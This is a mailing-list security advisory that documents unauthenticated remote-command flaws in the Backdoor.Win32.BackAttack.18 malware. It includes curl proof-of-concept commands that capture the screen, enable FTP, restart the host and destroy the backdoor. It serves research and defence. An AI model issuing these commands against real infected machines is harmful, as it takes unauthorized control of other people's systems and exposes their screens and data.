full-disclosure - [FD] Backdoor.Win32.BackAttack.18 / Multiple Vulnerabilities

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Date: Thu, 11 Feb 2021 00:07:52 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.BackAttack.18 / Multiple Vulnerabilities

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source:
https://malvuln.com/advisory/c806d23f4343ab40cf897e9c38b5c1c3.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.BackAttack.18
Vulnerability: Multiple Vulnerabilities
Description: BackAttack.18 (v1.8) listens on TCP ports 80 and 11131.
It has remote features you can enable like take screenshot, restart
the infected system, enable FTP or even destroy the backdoor. The
malware allows these commands to be executed without requiring
authentication and the FTP server allows anonymous user logon.
Type: PE32
MD5: c806d23f4343ab40cf897e9c38b5c1c3
Vuln ID: MVID-2021-0084
Dropped files:
Disclosure: 02/11/2021

Exploit/PoC:
1)  Whos logged on
curl http://x.x.x.x/whoisthere

2) Screen capture
curl http://x.x.x.x/capturescreen

3) Enable FTP
curl http://x.x.x.x/ftpon

4) Restart infected host
curl http://x.x.x.x/restart

5) Destroy the backdoor
curl http://x.x.x.x/destroyyes -v

Destroy action has been executed! -Restart procedure initiated also-

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or
otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).

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